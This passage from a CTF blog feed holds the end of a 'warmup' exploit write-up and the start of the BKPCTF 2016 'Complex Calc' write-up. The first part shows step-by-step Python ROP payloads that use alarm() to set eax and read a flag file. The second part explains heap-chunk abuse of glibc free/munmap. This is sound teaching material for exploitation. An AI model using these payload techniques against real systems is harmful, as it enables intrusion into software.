&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:08048126&lt;&#x2F;span&gt;&lt;span&gt;                 mov     ecx, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;esp+addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;] &lt;&#x2F;span&gt;&lt;span&gt;; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;addr
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0804812A&lt;&#x2F;span&gt;&lt;span&gt;                 mov     edx, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;esp+len&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]  &lt;&#x2F;span&gt;&lt;span&gt;; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;len
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0804812E&lt;&#x2F;span&gt;&lt;span&gt;                 int     80h             ; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;LINUX&lt;&#x2F;span&gt;&lt;span&gt; - sys_read
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;--write
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:08048135&lt;&#x2F;span&gt;&lt;span&gt;                 mov     eax, 4
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0804813A&lt;&#x2F;span&gt;&lt;span&gt;                 mov     ebx, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;esp+fd&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]   &lt;&#x2F;span&gt;&lt;span&gt;; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;fd
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0804813E&lt;&#x2F;span&gt;&lt;span&gt;                 mov     ecx, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;esp+addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;] &lt;&#x2F;span&gt;&lt;span&gt;; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;addr
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:08048142&lt;&#x2F;span&gt;&lt;span&gt;                 mov     edx, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;esp+len&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]  &lt;&#x2F;span&gt;&lt;span&gt;; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;len
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:08048146&lt;&#x2F;span&gt;&lt;span&gt;                 int     80h             ; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;LINUX&lt;&#x2F;span&gt;&lt;span&gt; - sys_write
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Where the arguments are read from the limited stack we control.&lt;&#x2F;p&gt;
&lt;p&gt;However, we do not have an &lt;code&gt;sys_open&lt;&#x2F;code&gt; gadget, but since we can control &lt;code&gt;ebx&lt;&#x2F;code&gt;
from the stack, all we need is to find a way to set &lt;code&gt;eax&lt;&#x2F;code&gt; to
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;raw.githubusercontent.com&#x2F;torvalds&#x2F;linux&#x2F;master&#x2F;arch&#x2F;x86&#x2F;entry&#x2F;syscalls&#x2F;syscall_32.tbl&quot;&gt;5&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;My original intention was to force a call to &lt;code&gt;sys_read&lt;&#x2F;code&gt; from our socket, and
send 5 bytes of junk data so that the syscall can return with the right value in
&lt;code&gt;eax&lt;&#x2F;code&gt;. Unfortunately, we do not have enough space in our stack to chain correctly our
&lt;code&gt;read&lt;&#x2F;code&gt; arguments, then jump into it and finally jump back to our next gadget ☹ .&lt;&#x2F;p&gt;
&lt;p&gt;After quite some time, I realized that &lt;code&gt;warmup&lt;&#x2F;code&gt; starts by initializing an alarm
for 10 seconds (which when &lt;code&gt;SIGALRM&lt;&#x2F;code&gt; is received, will kill the
program).&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0804810D&lt;&#x2F;span&gt;&lt;span&gt;                 mov     eax, 27
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:08048112&lt;&#x2F;span&gt;&lt;span&gt;                 mov     ebx, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;esp+seconds&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;] &lt;&#x2F;span&gt;&lt;span&gt;; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;seconds
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:08048116&lt;&#x2F;span&gt;&lt;span&gt;                 int     80h             ; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;LINUX&lt;&#x2F;span&gt;&lt;span&gt; - sys_alarm
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Nevertheless, this could be valuable to us, because RTFM:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;  alarm()  returns  the number of seconds remaining until any previously
&lt;&#x2F;span&gt;&lt;span&gt;  scheduled alarm was due to be delivered, or zero if there was no
&lt;&#x2F;span&gt;&lt;span&gt;  previously scheduled alarm.
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;That means that if we jump a second time into the gadget @0x0804810D (i.e. call
&lt;code&gt;alarm()&lt;&#x2F;code&gt; a second time), &lt;code&gt;eax&lt;&#x2F;code&gt; will be populated with whatever time is left
before SIGALRM is issued!
And since &lt;code&gt;alarm()&lt;&#x2F;code&gt; can take any integer as argument, our syscall will not
return as an error! So by sleeping 5 seconds, &lt;code&gt;sys_alarm&lt;&#x2F;code&gt; will return with &lt;code&gt;eax&lt;&#x2F;code&gt;
set to &lt;code&gt;NR_sys_open&lt;&#x2F;code&gt; (5), and we can use the stack to populate the other
registers required for &lt;code&gt;sys_open&lt;&#x2F;code&gt;!&lt;&#x2F;p&gt;
&lt;h4 id=&quot;attack&quot;&gt;Attack&lt;&#x2F;h4&gt;
&lt;p&gt;Again, because of our limited space in the stack, we need to trigger the
vulnerability multiple times. To do, we have to perform only one operation, then
return to the original function (&lt;code&gt;0x0804815A&lt;&#x2F;code&gt;), and let the control flow repeat
again until it re-hit our vulnerability.&lt;&#x2F;p&gt;
&lt;p&gt;So let’s go back to the steps we set in the &lt;em&gt;Objective&lt;&#x2F;em&gt; part for the
exploitation part:&lt;&#x2F;p&gt;
&lt;p&gt;Writing &lt;code&gt;&#x2F;tmp&#x2F;flag&lt;&#x2F;code&gt; in a predictable and writable location can be done with the
following gadgets:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;    p = &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;A&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;32
&lt;&#x2F;span&gt;&lt;span&gt;    p+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;i_s&lt;&#x2F;span&gt;&lt;span&gt;(sys_read)
&lt;&#x2F;span&gt;&lt;span&gt;    p+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;i_s&lt;&#x2F;span&gt;&lt;span&gt;(ret_to_orginal_function) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# ret back to vuln function
&lt;&#x2F;span&gt;&lt;span&gt;    p+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;i_s&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# fd
&lt;&#x2F;span&gt;&lt;span&gt;    p+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;i_s&lt;&#x2F;span&gt;&lt;span&gt;(writable_addr) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# addr
&lt;&#x2F;span&gt;&lt;span&gt;    p+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;i_s&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(flag_path)) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# len
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(p)
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Good Luck!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now we have to sleep !! ☺&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;    time.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sleep&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now we can send our second payload, to call &lt;code&gt;alarm&lt;&#x2F;code&gt;, setting &lt;code&gt;eax&lt;&#x2F;code&gt; to
&lt;code&gt;NR_sys_open&lt;&#x2F;code&gt;, and append the other arguments:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;    p = &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;A&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;32
&lt;&#x2F;span&gt;&lt;span&gt;    p+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;i_s&lt;&#x2F;span&gt;&lt;span&gt;(sys_alarm)
&lt;&#x2F;span&gt;&lt;span&gt;    p+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;i_s&lt;&#x2F;span&gt;&lt;span&gt;(set_ebx_ecx_edx_int80)
&lt;&#x2F;span&gt;&lt;span&gt;    p+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;i_s&lt;&#x2F;span&gt;&lt;span&gt;(ret_to_orginal_function)
&lt;&#x2F;span&gt;&lt;span&gt;    p+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;i_s&lt;&#x2F;span&gt;&lt;span&gt;(writable_addr)
&lt;&#x2F;span&gt;&lt;span&gt;    p+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;i_s&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# READ|WRITE|EXECUTE
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(p)
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Good Luck!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We have now a file descriptor open to our flag file! Let’s read its content:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;    p = &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;A&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;32
&lt;&#x2F;span&gt;&lt;span&gt;    p+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;i_s&lt;&#x2F;span&gt;&lt;span&gt;(sys_read)
&lt;&#x2F;span&gt;&lt;span&gt;    p+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;i_s&lt;&#x2F;span&gt;&lt;span&gt;(ret_to_orginal_function)
&lt;&#x2F;span&gt;&lt;span&gt;    p+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;i_s&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# file_fd
&lt;&#x2F;span&gt;&lt;span&gt;    p+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;i_s&lt;&#x2F;span&gt;&lt;span&gt;(writable_addr2)
&lt;&#x2F;span&gt;&lt;span&gt;    p+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;i_s&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;20&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(p)
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Good Luck!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;… And write it back to our socket (and exit cleanly, just because):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;    p = &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;A&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;32
&lt;&#x2F;span&gt;&lt;span&gt;    p+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;i_s&lt;&#x2F;span&gt;&lt;span&gt;(sys_write)
&lt;&#x2F;span&gt;&lt;span&gt;    p+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;i_s&lt;&#x2F;span&gt;&lt;span&gt;(sys_exit)
&lt;&#x2F;span&gt;&lt;span&gt;    p+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;i_s&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# fd stdout
&lt;&#x2F;span&gt;&lt;span&gt;    p+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;i_s&lt;&#x2F;span&gt;&lt;span&gt;(writable_addr2)
&lt;&#x2F;span&gt;&lt;span&gt;    p+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;i_s&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;20&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(p)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This write-up does not give justice to the challenge, making it look easy. But
it was not. I really like how you are made to create really inventive and neat
technique for subverting existing calls to set up the structure the exact way
you want it.&lt;&#x2F;p&gt;
&lt;p&gt;For those who want, the full exploit script is
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;8e31ddc61dba7d4e7c1f&quot;&gt;here&lt;&#x2F;a&gt;. But again, it was
not tested against the game server.&lt;&#x2F;p&gt;
&lt;p&gt;Another good lesson to pay attention to details…&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>BKPCTF 2016 - Complex Calc</title>
        <published>2016-03-08T00:00:00+00:00</published>
        <updated>2016-03-08T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2016-03-08-bkpctf-2016-complex-calc/"/>
        <id>https://blahcat.github.io/2016-03-08-bkpctf-2016-complex-calc/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2016-03-08-bkpctf-2016-complex-calc/">&lt;p&gt;The challenge is the sequel to &lt;code&gt;simple_calc&lt;&#x2F;code&gt;. If you haven’t read our &lt;a href=&quot;&#x2F;posts&#x2F;2016&#x2F;03&#x2F;07&#x2F;bkpctf-2016-simple-calc-writeup.html&quot;&gt;write-up&lt;&#x2F;a&gt;, now is the time 😊&lt;&#x2F;p&gt;
&lt;h3 id=&quot;info&quot;&gt;Info&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;~&lt;&#x2F;span&gt;&lt;span&gt; $ file d60001db1a24eca410c5d102410c3311d34d832c
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;d60001db1a24eca410c5d102410c3311d34d832c:&lt;&#x2F;span&gt;&lt;span&gt; ELF 64-bit LSB executable, x86-64, version 1 (GNU&#x2F;Linux)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; statically linked, for GNU&#x2F;Linux 2.6.24, BuildID&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;sha1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;=3ca876069b2b8dc3f412c6205592a1d7523ba9ea, not stripped
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;~&lt;&#x2F;span&gt;&lt;span&gt; $ checksec.sh&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; --file&lt;&#x2F;span&gt;&lt;span&gt; d60001db1a24eca410c5d102410c3311d34d832c
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;RELRO&lt;&#x2F;span&gt;&lt;span&gt;           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Partial&lt;&#x2F;span&gt;&lt;span&gt; RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   d60001db1a24eca410c5d102410c3311d34d832c
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;vulnerability&quot;&gt;Vulnerability&lt;&#x2F;h3&gt;
&lt;p&gt;At the very first look, &lt;code&gt;simple_calc&lt;&#x2F;code&gt; and &lt;code&gt;complex_calc&lt;&#x2F;code&gt; look totally
similar. Both are statically compiled, same protections, the vulnerability is
located at the same spot (i.e. stack overflow with a malloc-ed buffer we fully
control). Let’s do some bindiffing!&lt;&#x2F;p&gt;
&lt;p&gt;One of my new toys for quite a few months now is IDA Python plugin
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;joxeankoret&#x2F;diaphora&quot;&gt;diaphora&lt;&#x2F;a&gt; by Joxean Koret (aka
&lt;a class=&quot;fab fa-twitter&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;matalaz&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;@matalaz&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
). By diffing then, the issue is immediately visible:&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;0tkaNNT.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;0tkaNNT.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;The &lt;code&gt;free()&lt;&#x2F;code&gt; function was modified so we cannot benefit from the graceful exit
of the function by simply passing a NULL pointer. Now, &lt;code&gt;free()&lt;&#x2F;code&gt; will always
proceed with the address given as first parameter (therefore stored in $rdi).&lt;&#x2F;p&gt;
&lt;p&gt;So let’s see how &lt;code&gt;free()&lt;&#x2F;code&gt;
works. &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;kitctf.de&#x2F;writeups&#x2F;0ctf2015&#x2F;freenote&quot;&gt;Some blogs&lt;&#x2F;a&gt; already explain very well how
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sploitfun.wordpress.com&#x2F;2015&#x2F;02&#x2F;10&#x2F;understanding-glibc-malloc&#x2F;&quot;&gt;Glibc heap is structured&lt;&#x2F;a&gt;
and how
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;phrack.org&#x2F;issues&#x2F;57&#x2F;9.html&quot;&gt;heap&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;winesap.logdown.com&#x2F;posts&#x2F;261369-plaid-ctf-2015-plaiddb-writeup&quot;&gt;corruptions&lt;&#x2F;a&gt;
work. So I will assume you know as well.&lt;&#x2F;p&gt;
&lt;p&gt;To stand on common ground, here is what a heap chunk looks like:&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;EVnKlBg.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;EVnKlBg.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;When &lt;code&gt;free()&lt;&#x2F;code&gt; is called, some checks are made to know how the chunk must be
deallocated:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;If its size is below &lt;code&gt;MMAP_THRESHOLD&lt;&#x2F;code&gt; (default 128KB), then the chunk is
deallocated and inserted into the free chunk doubly linked list. The
pointers of the list are updated using the &lt;code&gt;unlink&lt;&#x2F;code&gt; macro.&lt;&#x2F;li&gt;
&lt;li&gt;If the size is higher than &lt;code&gt;MMAP_THRESHOLD&lt;&#x2F;code&gt;, then the chunk was not
allocated via the &lt;code&gt;brk&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;sbrk&lt;&#x2F;code&gt; syscall, but mapped in memory via the
syscall &lt;code&gt;mmap&lt;&#x2F;code&gt;. If this heap chunk is &lt;code&gt;mmap&lt;&#x2F;code&gt;-ed, then its size will be a
multiple of 2 (i.e. size &amp;amp; 2 = 2).&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;This actually shows quite well in the flow graph:&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;omGULMz.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;omGULMz.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Since we control what is written in the heap (same method than &lt;code&gt;simple_calc&lt;&#x2F;code&gt;),
we can control whether we want to deallocate using &lt;code&gt;unlink&lt;&#x2F;code&gt; or &lt;code&gt;munmap&lt;&#x2F;code&gt; (simply
by or-ing the QWORD interpreter as the chunk size with 2). If we go for using
the regular deallocator, we need to fake our heap chunk in such a way that it will
pass all the checks performed later on. Any failure on the address will
&lt;code&gt;abort()&lt;&#x2F;code&gt; the program, making it enable to reach the &lt;code&gt;ret&lt;&#x2F;code&gt; instruction, and
therefore triggering our ROP chain.&lt;&#x2F;p&gt;
&lt;p&gt;On the other hand, the &lt;code&gt;munmap()&lt;&#x2F;code&gt; function is actually fairly straight-forward:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000435670&lt;&#x2F;span&gt;&lt;span&gt; munmap          proc near               ; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;CODE&lt;&#x2F;span&gt;&lt;span&gt; XREF: __assert_fail_base+110
